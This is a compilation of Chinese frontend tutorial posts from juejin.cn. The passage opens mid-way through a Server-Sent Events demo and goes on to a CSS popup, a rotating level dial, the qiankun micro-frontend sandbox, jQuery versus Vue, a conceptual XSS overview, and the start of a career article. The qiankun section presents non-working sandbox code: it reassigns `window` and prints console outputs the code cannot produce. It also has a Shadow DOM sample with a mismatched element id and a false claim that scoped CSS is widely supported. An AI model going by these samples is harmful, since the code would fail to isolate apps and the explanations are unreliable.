字段表示自定义的事件类型,默认是message
事件。浏览器可以用addEventListener()
监听该事件。
event: foo\n
data: a foo event\n\n
data: an unnamed event\n\n
event: bar\n
data: a bar event\n\n
retry 字段
服务器可以用retry
字段,指定浏览器重新发起连接的时间间隔。
retry: 10000\n
两种情况会导致浏览器重新发起连接:一种是时间间隔到期,二是由于网络错误等原因,导致连接出错。
上面的代码创造了三条信息。第一条的名字是foo
,触发浏览器的foo
事件;第二条未取名,表示默认类型,触发浏览器的message
事件;第三条是bar
,触发浏览器的bar
事件。
前端代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<ul id="ul"></ul>
</body>
<script>
//生成li元素
function createLi(data) {
let li = document.createElement("li");
li.innerHTML = String(data.message);
return li;
}
//判断当前浏览器是否支持SSE
let source = "";
if (!!window.EventSource) {
source = new EventSource("http://localhost:8088/sse/");
} else {
throw new Error("当前浏览器不支持SSE");
}
//对于建立链接的监听
source.onopen = function (event) {
console.log(source.readyState);
console.log("长连接打开");
};
//对服务端消息的监听
source.onmessage = function (event) {
console.log(JSON.parse(event.data));
console.log("收到长连接信息");
let li = createLi(JSON.parse(event.data));
document.getElementById("ul").appendChild(li);
};
//对断开链接的监听
source.onerror = function (event) {
console.log(source.readyState);
console.log("长连接中断");
};
</script>
</html>
后端代码
const express = require("express"); //引用框架
const app = express(); //创建服务
const port = 8088; //项目启动端口
//设置跨域访问
app.all("*", function (req, res, next) {
//设置允许跨域的域名,*代表允许任意域名跨域
res.header("Access-Control-Allow-Origin", "*");
//允许的header类型
res.header(
"Access-Control-Allow-Headers",
"Content-Type, Authorization, X-Requested-With"
);
//跨域允许的请求方式
res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
// 可以带cookies
res.header("Access-Control-Allow-Credentials", true);
if (req.method == "OPTIONS") {
res.sendStatus(200);
} else {
next();
}
});
app.get("/sse", (req, res) => {
res.set({
"Content-Type": "text/event-stream", //设定数据类型
"Cache-Control": "no-cache", // 长链接拒绝缓存
Connection: "keep-alive", //设置长链接
});
console.log("进入到长连接了");
//持续返回数据
setInterval(() => {
console.log("正在持续返回数据中ing");
const data = {
message: `Current time is ${new Date().toLocaleTimeString()}`,
};
res.write(`data: ${JSON.stringify(data)}\n\n`);
}, 1000);
});
//创建项目
app.listen(port, () => {
console.log(`项目启动成功-http://localhost:${port}`);
});
来源:juejin.cn/post/7340621143009067027
手把手教你实现一个中间开屏
前言
这次给大家带来一个开屏的效果,由纯CSS
实现,实现起来并不复杂,效果也并不简单,话不多说,咱们直入主题。
效果预览
效果如下所示。
HTML部分
首先看到HTML
部分,相关代码如下。
<nav class="main">
<a href="#terrestrial" class="open-popup">terrestrial animals</a>
<a href="#aquatic" class="open-popup">aquatic animals</a>
</nav>
<section id="terrestrial" class="popup">
<a href="#" class="back">< back</a>
<p>🦓🦒🐅🐆🐘🦏🐃🦌🐐🐫</p>
</section>
<section id="aquatic" class="popup">
<a href="#" class="back">< back</a>
<p>🐋🐳🐬🐟🐠🐡🐙🦑🦐🦀</p>
</section>
这里包含了一个导航条和两个弹出窗口。<nav class="main">
是主导航条的部分。包含了两个链接,分别链接到页面中的不同部分。<a href="#terrestrial" class="open-popup">terrestrial animals</a>
和 <a href="#aquatic" class="open-popup">aquatic animals</a>
这两个链接标签(<a>
)作为导航链接,包含了类名open-popup
,当这些链接被点击时会弹出相关的窗口。<section id="terrestrial" class="popup">
和 <section id="aquatic" class="popup">
这两个部分分别代表了两个弹出的窗口内容。每一个窗口内容块中包含了一个返回的链接(< back
)和相应类别的动物表情。
综上所述,这里构建了一个包含导航条和两个弹出窗口的结构,点击不同的链接可以弹出对应的内容窗口,用于显示相关的动物表情。
CSS部分
接着看到CSS
部分。相关代码如下。
.main {
height: inherit;
background: linear-gradient(dodgerblue, darkblue);
display: flex;
align-items: center;
justify-content: center;
}
.open-popup {
box-sizing: border-box;
color: white;
font-size: 16px;
font-family: sans-serif;
width: 10em;
height: 4em;
border: 1px solid;
text-align: center;
line-height: 4em;
text-decoration: none;
text-transform: capitalize;
margin: 1em;
}
.open-popup:hover {
border-width: 2px;
}
这里描述了主区域和打开弹窗的链接按钮的样式。设置了渐变背景色、按钮的颜色、字体大小、字体样式、宽度、高度、边框等样式属性,使用 Flex 布局,使得包裹在内部的子元素能够进行灵活的排列。
在.open-popup
中,box-sizing: border-box;
使得元素的边框和内边距包含在宽度之内。text-align: center;
使得按钮中的文本内容水平居中对齐。line-height: 4em;
设定了行高。text-decoration: none;
去除了链接的下划线。text-transform: capitalize;
使得英文字母单词的首字母大写。.open-popup:hover
定义了鼠标悬停在按钮上的样式,这里设置了边框的宽度在悬停时增加至 2px。
总的来说,这些 CSS 定义了主区块的背景样式以及弹出窗口链接按钮的样式,使得按钮在悬停时具有变化的边框宽度,且主区域能够使内部的元素水平和垂直居中。
/* popup page layout */
.popup {
position: absolute;
top: 0;
width: 100%;
height: inherit;
flex-direction: column;
justify-content: flex-start;
display: none;
}
.popup:target {
display: flex;
}
.popup .back {
font-size: 20px;
font-family: sans-serif;
text-align: center;
height: 2em;
line-height: 2em;
background-color: #ddd;
color: black;
text-decoration: none;
}
.popup .back:visited {
color: black;
}
.popup .back:hover {
background-color: #eee;
}
.popup p {
font-size: 100px;
text-align: center;
margin: 0.1em 0.05em;
}
这里描述了弹窗部分的布局与样式。在.popup
中,position: absolute;
将弹窗设置为绝对定位,相对于最近的已定位父元素进行定位。top: 0;
将弹窗置于父元素的顶部。flex-direction: column; justify-content: flex-start;
使用 Flex 布局,使得弹窗内的元素以垂直方向排列并且从顶部开始排列。display: none;
表示在初始状态下将弹窗设为不可见。
.popup:target
这个选择器用于在 URL 带有对应 ID 锚点时,将对应的弹窗设置为可见(display: flex
)。
.popup .back
设定了返回链接的字体大小、字体类型以及文本居中等样式,也设置了其背景颜色、文本颜色和访问时的颜色。
.popup p
设置了段落元素的字体大小、文本居中,并添加了一些微小的外边距。
这些 CSS 给弹窗部分添加了基本的布局样式,通过使用了伪类target
来控制弹窗的显示和隐藏,并设置了返回链接和段落元素的基本样式。
/* animation effects */
.popup > * {
filter: opacity(0);
animation: fade-in 0.5s ease-in forwards;
animation-delay: 1s;
}
@keyframes fade-in {
to {
filter: opacity(1);
}
}
.popup::before {
content: "";
position: absolute;
width: 100%;
height: 0;
top: 50%;
background-color: white;
animation: open-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2) forwards;
animation-delay: 0.5s;
}
@keyframes open-animate {
to {
height: 100vh;
top: 0;
}
}
.popup::after {
content: "";
position: absolute;
width: 0;
height: 2px;
background-color: white;
top: calc((100% - 2px) / 2);
left: 0;
animation: line-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2);
}
@keyframes line-animate {
50%,
100% {
width: 100%;
}
}
这里描述了弹窗(Popup)元素的动画效果。在.popup > *
中,filter: opacity(0);
将所有子元素的不透明度设置为 0,元素将初始处于不可见状态。
animation: fade-in 0.5s ease-in forwards;
使用了名称为 fade-in
的动画,持续时间为0.5秒,采用了 ease-in 时间变化,并且最终状态保持不变。animation-delay: 1s;
表示动画延迟1秒后开始播放。
在动画@keyframes fade-in
中,to
将元素的不透明度逐渐增加到1,以显示元素。
.popup::before
表示使用伪元素 ::before
创造了一个白色的遮罩层,该伪元素的初始高度为0,将在动画中展开到全屏幕高度。采用名为 open-animate
的动画,用于延时0.5秒后播放,动画效果由 Cubic-bezier 函数生成。
.popup::after
表示使用伪元素 ::after
创造了一条横线,初始宽度为0,高度为2px,定义了 line-animate
动画,使得该横线逐渐展开成一条横幅。
综上所述,这些 CSS 定义了弹窗元素的动画效果,包括子元素逐渐显现、遮罩层的展开以及横线的逐渐展开,组合起来形成了一个整体的弹窗效果
总结
以上就是整个效果的实现过程了,代码简单易懂,效果也比较炫酷多样。另外,感兴趣的小伙伴们还可以在现有基础上发散思维,比如增加点其他效果,或者更改颜色等等。关于该效果如果大家有更好的想法欢迎在评论区分享,互相学习。最后,完整代码在码上掘金里可以查看,如果有什么问题大家在评论区里讨论~
来源:juejin.cn/post/7424341949800087604
扇形旋转切换效果(等级切换转盘)
实现动态扇形旋转切换效果,切换进度支持渐变效果
效果展示
原理拆解
- 环形进度条:使用上下两个相同大小的圆间隔一定距离覆盖得到一条圆环
- 进度条渐变及进度控制:通过一个从左至右渐变的矩形覆盖在圆环上,然后通过css变量动态控制矩形的宽度实现进度控制
- 等级旋转切换:将等级按照指定间隔角度定位到圆的边上,通过改变圆的旋转角度实现等级旋转切换
源码实现
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
.position-center {
position: absolute;
left: 50%;
transform: translateX(-50%);
bottom: 0;
}
.container {
--height: 20vh;
--progress: 0;
width: 100%;
height: var(--height);
position: relative;
overflow: hidden;
.inner {
width: 200%;
height: calc(var(--height) * 2);
background-color: #2f2f2f;
border-radius: 50%;
overflow: hidden;
.circle {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
}
.circle-bottom {
bottom: 12%;
overflow: hidden;
padding: 25% 15% 0 15%;
background-color: #535353;
.circle-mask {
width: calc(var(--progress) * 1%);
height: 100%;
background-image: linear-gradient(to right, rgba(31, 231, 236, .3), rgba(31, 231, 236, .7));
transition: all .3s ease-in-out;
}
}
.circle-top {
background-color: #2f2f2f;
bottom: 13%;
padding: 27% 15% 0 15%;
color: #fff;
display: flex;
justify-content: space-around;
align-items: flex-end;
}
.circle-main {
width: calc(var(--height) * 6.5);
height: calc(var(--height) * 6.5);
border-radius: 50%;
transition: all .3s ease-in-out;
transform: translateX(-50%) rotate(0deg);
.item {
--rotate: 0;
position: absolute;
height: 100%;
display: flex;
justify-content: center;
align-items: flex-end;
top: 50%;
left: 50%;
transform: translate(-50%, -50%) rotate(calc(var(--rotate) * -1deg));
.item-inner {
display: flex;
flex-direction: column;
align-items: center;
position: relative;
bottom: -30px;
font-size: 14px;
color: #ccc;
.point {
width: 7px;
height: 7px;
background-color: #fff;
border-radius: 50%;
margin-top: 4px;
box-shadow: 0 0 10px rgba(255, 255, 255, 0.8);
&::before {
content: '';
width: 12px;
height: 12px;
border-radius: 50%;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
}
.label-bottom {
margin-top: 5px;
}
}
.active {
.point {
background-color: rgba(31, 231, 236, 1);
&::before {
background-color: rgba(31, 231, 236, 0.3);
}
}
}
}
}
}
}
.btns {
position: absolute;
bottom: 500px;
left: 50%;
transform: translateX(-50%);
button {
color: #1fe7ec;
border: 1px solid #1fe7ec;
background-color: transparent;
padding: 4px 15px;
border-radius: 4px;
font-size: 14px;
}
}
</style>
</head>
<body>
<div id="container" class="container" style="--progress: 33.33">
<div class="inner position-center">
<div class="circle circle-bottom position-center">
<div class="circle-mask"></div>
</div>
<div class="circle circle-top position-center">
<div id="circle" class="circle-main position-center">
<div class="item" style="--rotate: -15;">
<div class="item-inner active">
<div class="label-top">10-15w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V1</div>
</div>
</div>
<div class="item" style="--rotate: 0;">
<div class="item-inner">
<div class="label-top">15-20w</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V2</div>
</div>
</div>
<div class="item" style="--rotate: 15;">
<div class="item-inner">
<div class="label-top">20w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V3</div>
</div>
</div>
<div class="item" style="--rotate: 30;">
<div class="item-inner">
<div class="label-top">30w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V4</div>
</div>
</div>
<div class="item" style="--rotate: 45;">
<div class="item-inner">
<div class="label-top">50w+</div>
<div class="point"></div>
<div class="label-bottom">旅行家 V5</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="btns">
<button onclick="prev()">上一个</button>
<button onclick="next()">下一个</button>
</div>
<script>
const container = document.getElementById('container')
const circle = document.getElementById('circle')
const max = circle.children.length
let currentIndex = 0
const acitve = () => {
const items = circle.querySelectorAll('.item')
items.forEach((item, index) => {
const itemInner = item.querySelector('.item-inner')
if (index === currentIndex) {
itemInner.classList.add('active')
} else {
itemInner.classList.remove('active')
}
})
}
const next = () => {
if (currentIndex < max - 1) {
currentIndex += 1
}
if (currentIndex < max - 1) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 100)
}
acitve()
}
const prev = () => {
if (currentIndex > 0) {
currentIndex -= 1
}
if (currentIndex > 0) {
container.style.setProperty('--progress', 50)
circle.style.transform = `translateX(-50%) rotate(${15 * (currentIndex - 1)}deg)`
} else {
container.style.setProperty('--progress', 33.33)
}
acitve()
}
</script>
</body>
</html>
来源:juejin.cn/post/7425227672422268943
乾坤(qiankun)实现沙箱机制,看这篇就够了
乾坤(Qiankun)是一个微前端框架,它通过沙箱机制来隔离各个微应用,确保它们在同一个页面中不会相互干扰。以下是乾坤实现沙箱的主要技术和步骤:
一,沙箱实现原理
- 全局变量隔离:
- 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如
window
对象)的读写操作,从而实现全局变量的隔离。 - 当微应用尝试访问或修改全局变量时,沙箱会捕获这些操作并进行处理,确保不会影响其他微应用。
- 乾坤通过代理(Proxy)对象来拦截和管理全局变量(如
- 样式隔离:
- 乾坤使用 Shadow DOM 或 scoped CSS 来隔离微应用的样式,防止样式冲突。
- 对于不支持 Shadow DOM 的浏览器,乾坤会通过 CSS 前缀或其他方式来实现样式隔离。
- 事件隔离:
- 乾坤会拦截和管理全局事件(如
click
、resize
等),确保事件不会跨微应用传播。 - 通过事件代理和事件委托,实现事件的精确控制和隔离。
- 乾坤会拦截和管理全局事件(如
- 生命周期管理:
- 乾坤为每个微应用定义了详细的生命周期钩子,包括
bootstrap
、mount
和unmount
,确保微应用在不同阶段的行为可控。 - 在
unmount
阶段,乾坤会清理微应用的全局变量、事件监听器等,确保微应用卸载后不会留下残留。
- 乾坤为每个微应用定义了详细的生命周期钩子,包括
沙箱机制代码实现示例
以下是一个简单的示例,展示了乾坤如何通过 Proxy 对象实现全局变量隔离:
// 沙箱类
class Sandbox {
constructor() {
this.originalWindow = window; // 保存原始的 window 对象
this.proxyWindow = new Proxy(window, {
get: (target, key) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
return this[key];
}
return target[key];
},
set: (target, key, value) => {
// 检查是否已经存在隔离的变量
if (this[key] !== undefined) {
this[key] = value;
return true;
}
target[key] = value;
return true;
}
});
}
activate() {
// 激活沙箱,将 window 替换为 proxyWindow
window = this.proxyWindow;
}
deactivate() {
// 恢复原始的 window 对象
window = this.originalWindow;
}
clear() {
// 清理沙箱中的所有变量
for (const key in this) {
if (this.hasOwnProperty(key) && key !== 'originalWindow' && key !== 'proxyWindow') {
delete this[key];
}
}
}
}
// 使用沙箱
const sandbox = new Sandbox();
// 激活沙箱
sandbox.activate();
// 模拟微应用的全局变量操作
window.myVar = 'Hello, Qiankun!';
// 检查沙箱中的全局变量
console.log(sandbox.myVar); // 输出: Hello, Qiankun!
// 恢复原始的 window 对象
sandbox.deactivate();
// 清理沙箱
sandbox.clear();
// 检查原始的 window 对象
console.log(window.myVar); // 输出: undefined
代码详细解释
- 构造函数:
constructor
中保存了原始的window
对象,并创建了一个Proxy
对象proxyWindow
,用于拦截对window
的访问。
- 拦截读取操作:
get
方法拦截对window
对象属性的读取操作。如果沙箱中已经存在该属性,则返回沙箱中的值;否则返回原始window
对象中的值。
- 拦截写入操作:
set
方法拦截对window
对象属性的写入操作。如果沙箱中已经存在该属性,则更新沙箱中的值;否则更新原始window
对象中的值。
- 激活和恢复:
activate
方法将window
替换为proxyWindow
,激活沙箱。deactivate
方法将window
恢复为原始的window
对象,退出沙箱。
- 清理:
clear
方法清理沙箱中的所有变量,确保微应用卸载后不会留下残留。
优势
- 隔离性:通过
Proxy
拦截,确保微应用对全局变量的读写操作不会影响其他微应用。 - 灵活性:可以在
get
和set
方法中添加更多的逻辑,例如日志记录、权限检查等。 - 透明性:对微应用来说,使用
window
对象的体验与未使用沙箱时相同,无需修改微应用的代码。
通过这种方式,乾坤等微前端框架能够有效地隔离各个微应用的全局变量,确保它们在同一个页面中稳定运行。
使用 Proxy 对象拦截和管理全局变量的读写操作
使用 Proxy
对象拦截和管理全局变量的读写操作是实现沙箱机制的一种常见方法。Proxy
是 JavaScript 提供的一个内置对象,用于定义自定义行为(也称为陷阱,traps)来拦截并控制对目标对象的操作。在微前端框架中,Proxy
可以用来拦截对 window
对象的访问,从而实现全局变量的隔离。
详细步骤
- 创建
Proxy
对象:
- 使用
new Proxy(target, handler)
创建一个Proxy
对象,其中target
是要拦截的目标对象(通常是window
),handler
是一个对象,定义了各种拦截操作的自定义行为。
- 使用
- 定义拦截行为:
handler
对象中可以定义多种拦截操作,例如get
、set
、apply
、construct
等。这里主要关注get
和set
方法,用于拦截对全局变量的读取和写入操作。
- 激活和恢复
Proxy
:
- 在微应用启动时激活
Proxy
,在微应用卸载时恢复原始的window
对象。
- 在微应用启动时激活
二,Shadow DOM
Shadow DOM 是一种 Web 技术,允许你在文档中创建独立的 DOM 树,并将其附加到一个元素上。这些独立的 DOM 树与主文档的其余部分隔离,因此可以避免样式和脚本的冲突。
实现步骤
- 创建 Shadow Root:
- 为每个微应用的根元素创建一个 Shadow Root。
- 插入样式:
- 将微应用的样式插入到 Shadow Root 中,而不是主文档的
<head>
中。
- 将微应用的样式插入到 Shadow Root 中,而不是主文档的
- 插入内容:
- 将微应用的内容插入到 Shadow Root 中。
Shadow Dom示例代码
!-- HTML 结构 -->
<div id="app-root"></div>
<script>
// 获取微应用的根元素
const rootElement = document.getElementById('micri-app-root');
// 创建 Shadow Root
const shadowRoot = rootElement.attachShadow({ mode: 'open' });
// 插入样式
const style = document.createElement('style');
style.textContent = `
.app-header {
background-color: blue;
color: white;
}
`;
shadowRoot.appendChild(style);
// 插入内容
const content = document.createElement('div');
content.className = 'app-header';
content.textContent = 'Hello, Qiankun!';
shadowRoot.appendChild(content);
</script>
三,Scoped CSS
Scoped CSS 是一种在 HTML 中为特定组件或部分定义样式的机制。通过在 <style>
标签中使用 scoped
属性,可以确保样式仅应用于当前元素及其子元素。
Scoped CSS实现步骤
- 创建带有
scoped
属性的<style>
标签:
- 在微应用的根元素内部创建一个带有
scoped
属性的<style>
标签。
- 在微应用的根元素内部创建一个带有
- 插入样式:
- 将微应用的样式插入到带有
scoped
属性的<style>
标签中。
- 将微应用的样式插入到带有
- 插入内容:
- 将微应用的内容插入到根元素中。
Scoped CSS示例代码
<!-- HTML 结构 -->
<div id="micro-app-root">
<style scoped>
.app-header {
background-color: blue;
color: white;
}
</style>
<div class="app-header">Hello, Qiankun!</div>
</div>
通过使用 Shadow DOM 和 scoped CSS,乾坤能够有效地隔离微应用的样式,防止样式冲突。这两种方法各有优缺点:
- Shadow DOM:
- 优点:完全隔离,不会受到外部样式的影响。
- 缺点:浏览器兼容性稍差,某些旧浏览器不支持。
- Scoped CSS:
- 优点:兼容性好,大多数现代浏览器都支持。
- 缺点:样式隔离不如 Shadow DOM 完全,可能会受到一些外部样式的影响。
根据具体需求和项目环境,可以选择适合的样式隔离方式。
总结
乾坤通过以下技术实现了微应用的沙箱隔离:
- 全局变量隔离:使用 Proxy 对象拦截和管理全局变量的读写操作。
- 样式隔离:使用 Shadow DOM 或 scoped CSS 防止样式冲突。
- 事件隔离:拦截和管理全局事件,确保事件不会跨微应用传播。
- 生命周期管理:定义详细的生命周期钩子,确保微应用在不同阶段的行为可控。
通过这些机制,乾坤能够有效地隔离各个微应用,确保它们在同一个页面中稳定运行。
PS:学会了记得,点赞,评论,收藏,分享
来源:juejin.cn/post/7431455846150242354
为什么JQuery会被淘汰?Vue框架就一定会比JQuery好吗?
前言
曾经面试时碰到过一个问题:为什么现有的Vue框架开发可以淘汰之前的JQuery?
我回答:Vue框架无需自己操作DOM,可以避免自己频繁的操作DOM
面试官接着反问我:Vue框架无需自己操作DOM,有什么优势吗,不用操作DOM就一定是好的吗?
我懵了,在我的认知里Vue框架无需自己操作DOM性能是一定优于自己来操作DOM元素的,其实并不是的.....
声明式框架与命令式框架
首先我们得了解声明式框架和命令式框架的区别
命令式框架关注过程
JQuery就是典型的命令式框架
例如我们来看如下一段代码
$( "button.continue" ).html( "Next Step..." ).on('click', () => { alert('next') })
这段代码的含义就是先获取一个类名为continue的button元素,它的内容为 Next Step...,并为它绑定一个点击事件。可以看到自然语言描述与代码是一一对应的,这更符合我们做事的逻辑
声明式框架更关注结果
现有的Vue,React都是典型的声明式框架
接着来看一段Vue的代码
<button class="continue" @click="() => alert('next')">Next Step...</button>
这是一段类HTML模板,它更像是直接提供一个结果。至于怎么实现这个结果,就交给Vue内部来实现,开发者不用关心
性能比较
首先告诉大家结论:声明式代码性能不优于命令式代码性能
即:声明式代码性能 <= 命令式代码性能
为什么会这样呢?
还是拿上面的代码举例
假设我们要将button的内容改为 pre Step,那么命令式的实现就是:
button.textContent = "pre Step"
很简单,就是直接修改
声明式的实现就是:
<!--之前 -->
<button class="continue" @click="() => alert('next')">Next Step...</button>
<!--现在 -->
<button class="continue" @click="() => alert('next')">pre Step</button>
对于声明式框架来说,它需要找到更改前后的差异并只更新变化的地方。但是最终更新的代码仍然是
button.textContent = "pre Step"
假设直接修改的性能消耗为 A, 找出差异的性能消耗为 B,
那么就有:
- 命令式代码的更新性能消耗 = A
- 声明式代码的更新性能消耗 = A + B
可以看到声明式代码永远要比命令式代码要多出找差异的性能消耗
那既然声明式代码的性能无法超越命令式代码的性能,为什么我们还要选择声明式代码呢?这就要考虑到代码可维护性的问题了。当项目庞大之后,手动完成dom的创建,更新与删除明显需要更多的时间和精力。而声明式代码框架虽然牺牲了一点性能,但是大大提高了项目的可维护性,降低了开发人员的心智负担
那么,有没有办法能同时兼顾性能和可维护性呢?
有!那就是使用虚拟dom
虚拟Dom
首先声明一个点,命令式代码只是理论上会比声明式代码性能高。因为在实际开发过程中,尤其是项目庞大之后,开发人员很难写出绝对优化的命令式代码。
而Vue框架内部使用虚拟Dom + 内部封装Dom元素操作的方式,能让我们不用付出太多精力的同时,还能保证程序的性能下限,甚至逼近命令式代码的性能
在讨论虚拟Dom的性能之前,我们首先要说明一个点:JavaScript层面的计算所需时间要远低于Dom层面的计算所需时间 看过浏览器渲染与解析机制的同学应该很明白为什么会这样。
我们在使用原生JavaScript编写页面时,很喜欢使用innerHTML,这个方法非常特殊,下面我们来比较一下使用虚拟Dom和使用innerHTML的性能差异
创建页面时
我们在使用innerHTML创建页面时,通常是这样的:
const data = "hello"
const htmlString = `<div>${data}</div>`
domcument.querySelect('.target').innerHTML = htmlString
这个过程需要先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算 (将字符串赋值给Dom元素的innerHTML属性时会将字符串解析为Dom树)
而使用虚拟Dom的方式通常是编译用户编写的类html模板得到虚拟Dom(JavaScript对象),然后遍历虚拟Dom树创建真实Dom对象
两者比较:
innerHTML | 虚拟Dom | |
---|---|---|
JavaScript层面运算 | 计算拼接HTML字符串 | 创建JavaScript对象(虚拟Dom) |
Dom层面运算 | 新建所有Dom元素 | 新建所有Dom元素 |
可以看到两者在创建页面阶段的性能差异不大。尽管在JavaScript层面,创建虚拟Dom对象貌似更耗时间,但是总体来说,Dom层面的运算是一致的,两者属于同一数量级,宏观来看可认为没有差异
更新页面时
使用innerHTML更新页面,通常是这样:
//更新
const newData = "hello world"
const newHtmlString = `<div>${newData}</div>`
domcument.querySelect('.target').innerHTML = newHtmlString
这个过程同样是先通过JavaScript层的字符串运算,然后是Dom层的innerHTML的Dom运算。但是它在Dom层的运算是销毁所有旧的DOM元素,再全量创建新的DOM元素
而使用虚拟Dom的方式通常是重新创建新的虚拟Dom(JavaScript对象),然后比较新旧虚拟Dom,找到需要更改的地方并更新Dom元素
两者比较:
innerHTML | 虚拟Dom | |
---|---|---|
JavaScript层面运算 | 计算拼接HTML字符串 | 创建JavaScript对象(虚拟Dom)+ Diff算法 |
Dom层面运算 | 销毁所有旧的Dom元素,新建所有新的DOM元素 | 必要的DOM更新 |
可以看到虚拟DOM在JavaScript层面虽然多出一个Diff算法的性能消耗,但这毕竟是JavaScript层面的运算,不会产生数量级的差异。而在DOM层,虚拟DOM可以只更新差异部分,对比innerHTML的全量卸载与全量更新性能消耗要小得多。所以模板越大,元素越多,虚拟DOM在更新页面的性能上就越有优势
总结
现在我们可以回答这位面试官的问题了:JQuery属于命令式框架,Vue属于声明式框架。在理论上,声明式代码性能是不优于命令式代码性能的,甚至差于命令式代码的性能。但是声明式框架无需用户手动操作DOM,用户只需关注数据的变化。声明式框架在牺牲了一点性能的情况下,大大降低了开发难度,提高了项目的可维护性,且声明式框架通常使用虚拟DOM的方式,使其在更新页面时的性能大大提升。综合来说,声明式框架仍旧是更好的选择
来源:juejin.cn/post/7425121392738615350
盘点下web常见的攻击方式 --- XSS篇
前言
Web攻击(WebAttack)是针对用户上网行为或网站服务器等设备进行攻击的行为,如植入恶意代码,修改网站权限,获取网站用户隐私信息等等。
常见的Web攻击方式有以下几种
- XSS (Cross Site Scripting) 跨站脚本攻击
- CSRF(Cross-site request forgery)跨站请求伪造
- SQL注入攻击
本文主要讲解XSS方面。
XSS是什么
XSS,跨站脚本攻击,允许攻击者将恶意代码植入到提供给其它用户使用的页面中。 它涉及到三方,即攻击者、客户端与Web
应用。XSS
的攻击目标是为了盗取存储在客户端的cookie
或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以借助合法用户的身份信息与网站进行交互。
XSS 有哪些类型
根据攻击的来源,XSS
攻击可以分成:
- 存储型
- 反射型
- DOM 型
存储型XSS
存储型XSS
的攻击步骤:
- 攻击者将恶意代码提交到目标网站的数据库中
- 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
反射型XSS
反射型XSS
的攻击步骤:
- 攻击者构造出特殊的URL,其中包含恶意代码
- 用户打开带有恶意代码的URL 时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器
- 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行
- 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
区别:
- 存储型XSS的恶意代码存在数据库里,反射型XSS的恶意代码存在URL里。
反射型XSS漏洞常见于通过URL传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
DOM
型XSS
DOM
型XSS
的攻击步骤:
- 攻击者构造出特殊的URL,其中包含恶意代码
- 用户打开带有恶意代码的URL
- 用户浏览器接收到响应后解析执行,前端
JavaScript
取出URL
中的恶意代码并执行 - 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作
区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
如何对XSS攻击进行预防呢?
通过前面介绍,看到XSS
攻击的两方面:
- 攻击者提交恶意代码
- 浏览器执行恶意代码
针对这两个方面就可以得出几条预防措施:
- 输入验证与过滤:
- 输出编码:
- 使用安全框架和工具:
- 实施内容安全策略(CSP):
1.输入验证与过滤:
确保对所有用户输入的数据进行严格验证和过滤,包括表单提交、URL 参数、Cookie 等。使用白名单过滤机制,只允许特定的字符和标签通过,过滤掉所有潜在的恶意代码。这样可以防止攻击者向应用程序提交恶意脚本。
2.输出编码:
在将用户数据输出到 HTML 页面时,使用适当的编码方式对数据进行转义,确保浏览器不会将其解析为可执行的脚本。常用的编码方式包括 HTML 实体编码(例如将 <
转换为 <
)和 JavaScript 编码(例如将 '
转换为 '
)。这样可以防止恶意脚本在用户浏览器中执行。
3.使用安全框架和工具:
利用现有的安全框架和工具来帮助检测和防御 XSS 攻击。例如,可以使用 Web 应用程序防火墙(WAF)来检测恶意请求,并且可以配置特定的规则来防止 XSS 攻击。还可以使用专门的 XSS 过滤器来检测和过滤潜在的 XSS 攻击载荷。
4.实施内容安全策略(CSP):
内容安全策略(Content Security Policy,CSP)是一种通过 HTTP 头部来控制页面加载资源的策略,可以有效减轻 XSS 攻击的风险。通过 CSP,可以限制页面加载的资源来源,包括脚本、样式表、图片等,从而防止恶意脚本的执行。
来源:juejin.cn/post/7350143110495846450
只写后台管理的前端要怎么提升自己
本人写了五年的后台管理。每次面试前就会头疼,因为写的页面除了表单就是表格。抱怨过苦恼过也后悔过,但是站在现在的时间点回想以前,发现有很多事情可以做的更好,于是有了这篇文章。
写优雅的代码
一道面试题
大概两年以前,面试美团的时候,面试官让我写一道代码题,时间单位转换。具体的题目我忘记了。
原题目我没做过,但是我写的业务代码代码里有类似的单位转换,后端返回一个数字,单位是kb
,而我要展示成 KB
,MB
等形式。大概写一个工具函数(具体怎么写的忘记了,不过功能比这个复杂点):
function formatSizeUnits(kb) {
let units = ['KB', 'MB', 'GB', 'TB', 'PB'];
let unitIndex = 0;
while (kb >= 1024 && unitIndex < units.length - 1) {
kb /= 1024;
unitIndex++;
}
return `${kb.toFixed(2)} ${units[unitIndex]}`;
}
